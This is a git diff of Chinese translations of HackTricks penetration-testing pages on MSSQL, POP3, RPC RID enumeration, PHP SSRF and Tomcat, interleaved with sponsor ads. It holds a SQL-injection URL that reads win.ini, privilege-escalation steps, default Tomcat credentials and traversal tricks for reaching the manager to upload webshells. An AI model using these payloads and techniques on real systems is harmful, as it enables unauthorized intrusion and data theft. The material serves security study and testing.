https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
@ -460,38 +415,31 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
### 使用MSSQL用户定义函数SQLHttp进行远程命令执行 <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
要查看更多示例,请访问[原始来源](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)。
可以使用自定义函数在MSSQL中加载.NET dll。然而这需要`dbo`访问权限,因此您需要使用`sa`或管理员角色的数据库连接。
### 使用MSSQL用户定义函数进行远程命令执行RCE- SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
可以在MSSQL中使用自定义函数加载.NET dll。但是这需要`dbo`访问权限,因此您需要使用`sa`或管理员角色的数据库连接。
单击[此链接](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)查看示例。
### 其他远程命令执行的方法
### 其他RCE方法
还有其他方法可以实现命令执行,例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
查找最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网在其兴起之际掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
***
## MSSQL权限提升
### 从db_owner到sysadmin
### 从db\_owner到sysadmin
如果将**普通用户**赋予**`db_owner`**角色,该角色拥有由管理员用户(例如**`sa`**)拥有的数据库,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行权限提升,因为在该数据库中创建的存储过程可以作为所有者(管理员)执行。
如果将**普通用户**赋予**`db_owner`**角色,该角色拥有由管理员用户(例如**`sa`**)拥有的数据库,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行权限提升,因为在其中创建的**存储过程**可以作为所有者(**管理员**)执行。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -609,22 +557,13 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
***
## HackTricks自动命令
```
@ -686,10 +625,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -7,11 +7,19 @@
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
发现最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
**邮局协议****POP**)是一种计算机网络和互联网标准**协议**,用于从远程邮件服务器提取和检索电子邮件,以供主机机器访问。**POP**是OSI模型中的应用层**协议**,为终端用户提供获取和接收电子邮件的能力(来自[这里](https://www.techopedia.com/definition/5383/post-office-protocol-pop))。
@ -23,89 +31,15 @@ POP客户端通常连接检索所有消息将其存储在客户端系统
PORT STATE SERVICE
110/tcp open pop3
```
### 横幅抓取
### 枚举
横幅抓取是一种用于获取目标主机上运行的POP3服务器版本和其他相关信息的技术。通过发送特定的请求到POP3服务器我们可以从服务器的响应中提取有用的信息如软件版本、操作系统类型和其他配置细节。这些信息对于后续的攻击和漏洞利用非常有用。
#### 横幅抓取
#### 使用Telnet进行横幅抓取
横幅抓取是一种枚举技术,用于获取目标主机上运行的网络服务的版本和其他相关信息。这可以帮助黑客确定目标系统上可能存在的漏洞和弱点。横幅抓取通常通过发送特定的网络请求来获取服务的响应横幅。这些响应横幅通常包含有关服务的版本号、操作系统信息和其他标识符。
使用Telnet工具可以方便地进行横幅抓取。以下是使用Telnet进行横幅抓取的步骤
黑客可以使用各种工具来执行横幅抓取例如Telnet、Netcat和Nmap。这些工具可以发送不同类型的请求以获取服务的响应横幅。黑客可以分析响应横幅中的信息以确定目标系统上可能存在的漏洞和弱点。
1. 打开命令行终端并输入以下命令:
```
telnet <目标IP地址> <POP3端口号>
```
例如:
```
telnet 192.168.0.1 110
```
2. 连接成功后,输入以下命令以获取横幅信息:
```
USER <任意用户名>
```
例如:
```
USER test
```
3. 服务器将返回横幅信息,其中包括服务器版本和其他相关细节。
#### 使用Nmap进行横幅抓取
Nmap是一款功能强大的网络扫描工具也可以用于横幅抓取。以下是使用Nmap进行横幅抓取的步骤
1. 打开命令行终端并输入以下命令:
```
nmap -p <POP3端口号> --script pop3-capabilities <目标IP地址>
```
例如:
```
nmap -p 110 --script pop3-capabilities 192.168.0.1
```
2. Nmap将发送特定的POP3请求到目标主机并从服务器的响应中提取横幅信息。
#### 使用Metasploit进行横幅抓取
Metasploit是一款流行的渗透测试工具也可以用于横幅抓取。以下是使用Metasploit进行横幅抓取的步骤
1. 打开Metasploit控制台并输入以下命令
```
use auxiliary/scanner/pop3/pop3_version
```
2. 设置目标主机的IP地址和POP3端口号
```
set RHOSTS <目标IP地址>
set RPORT <POP3端口号>
```
例如:
```
set RHOSTS 192.168.0.1
set RPORT 110
```
3. 运行模块以获取横幅信息:
```
run
```
Metasploit将发送特定的POP3请求到目标主机并从服务器的响应中提取横幅信息。
横幅抓取是一种被动的枚举技术,因为它不会对目标系统造成任何影响。然而,黑客应该小心使用横幅抓取工具,以避免引起目标系统管理员的注意。
```bash
nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
@ -118,7 +52,7 @@ openssl s_client -connect <IP>:995 -crlf -quiet
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
`pop3-ntlm-info`插件将返回一些“**敏感**”数据Windows版本
`pop3-ntlm-info`插件将返回一些敏感数据Windows版本
### [POP3暴力破解](../generic-methodologies-and-resources/brute-force.md#pop)
@ -163,7 +97,7 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```
## 危险设置
## 危险设置
来自[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
@ -219,12 +153,18 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
找到最重要的漏洞以便您能更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
</details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
@ -12,20 +12,28 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### **什么是RID**
[相对标识符RID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)是Windows用于**跟踪和识别对象**的**唯一标识符**(以十六进制格式表示)。为了解释这个概念,让我们看一下下面的例子:
[相对标识符RID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)是Windows用于跟踪和识别对象的**唯一标识符**(以十六进制格式表示)。为了解释它的作用,让我们看一下下面的例子:
* NAME\_DOMAIN.LOCAL域的[SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)是:`S-1-5-21-1038751438-1834703946-36937684957`。
* 当在域中创建一个对象时上述数字SID将与RID组合以生成用于表示该对象的唯一值。
* 当在域内创建对象时上述数字SID将与RID组合以生成用于表示该对象的唯一值。
* 因此具有RID\[0x457] Hex 0x457等于十进制`1111`的域用户`john`将具有完整的用户SID`S-1-5-21-1038751438-1834703946-36937684957-1111`。
* 这对于NAME\_DOMAIN.LOCAL域中的`john`对象是唯一的,您将永远不会看到此配对值与该域或任何其他域中的另一个对象相关联。
* 这对于NAME\_DOMAIN.LOCAL域中的`john`对象是唯一的,您将永远不会看到此配对值与该域或任何其他对象相关联。
定义来自[**这里**](https://academy.hackthebox.com/module/143/section/1269)。
### **使用rpcclient进行枚举**
**本节的一部分摘自书籍 "**_**网络安全评估第三版**_**"**
**本节的一部分摘自书籍**_**网络安全评估第三版**_**"
您可以使用Samba的**`rpcclient`**实用程序通过命名管道与**RPC端点**进行交互。以下是您可以在**建立**SMB会话后通常需要凭据向SAMR、LSARPC和LSARPC-DS接口发出的命令列表。
@ -94,13 +102,20 @@ done
| dsroledominfo | LSARPC-DS | 获取主域信息 |
| dsenumdomtrusts | 枚举AD森林中的受信任域 | |
要更好地**了解**工具_**samrdump**_和_**rpcdump**_的工作原理您应该阅读[**Pentesting MSRPC**](../135-pentesting-msrpc.md)。
要更好地了解工具**samrdump**和**rpcdump**的工作原理,您应该阅读[**Pentesting MSRPC**](../135-pentesting-msrpc.md)。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中**为您的公司做广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**

View file

@ -12,9 +12,17 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### SSRF PHP函数
一些函数如_**file\_get\_contents()fopen()file()md5\_file()**_接受URL作为输入如果用户可以控制数据则会跟随URL从而导致**可能的SSRF漏洞**
一些函数如_**file\_get\_contents()fopen()file()md5\_file()**_接受URL作为输入如果用户可以控制数据则会跟随URL从而产生**可能的SSRF漏洞**
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
@ -58,14 +66,21 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>

View file

@ -4,14 +4,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
发现最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 发现
* 它通常运行在**端口8080**
@ -33,7 +41,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
### 用户名枚举
在某些 Tomcat6 之前的版本中,你可以枚举用户:
在某些早于Tomcat6的版本中,你可以枚举用户:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
@ -48,7 +56,7 @@ Tomcat中最有趣的路径是_**/manager/html**_在这个路径下**你
* tomcat:s3cr3t
* admin:tomcat
你可以使用以下命令测试这些凭据和更多凭据:
你可以使用以下方式测试这些凭据和更多凭据:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
@ -63,20 +71,20 @@ msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
## Vulns
## 漏洞
### 密码回溯泄露
尝试访问`/auth.jsp`,如果你非常幸运,它**可能会在回溯中泄露密码**。
### 双URL编码
### 双URL编码
一个众所周知的漏洞是使用CVE-2007-1860中的mod_jk来访问应用程序管理器它允许**双URL编码路径遍历**。
一个众所周知的漏洞是使用CVE-2007-1860中的mod_jk来访问应用程序管理器它允许**双URL编码路径遍历**。
为了访问Tomcat的管理Web界面请转到_pathTomcat/%252E%252E/manager/html_
为了访问Tomcat的管理Web请转到_pathTomcat/%252E%252E/manager/html_
请注意为了上传Webshell您可能需要使用双URL编码技巧并发送一个cookie和/或SSRF令牌。\
为了访问后门您可能还需要使用双URL编码技巧。
请注意为了上传Webshell您可能需要使用双URL编码技巧并发送一个cookie和/或SSRF令牌。\
为了访问后门,您可能还需要使用双URL编码技巧。
### /examples
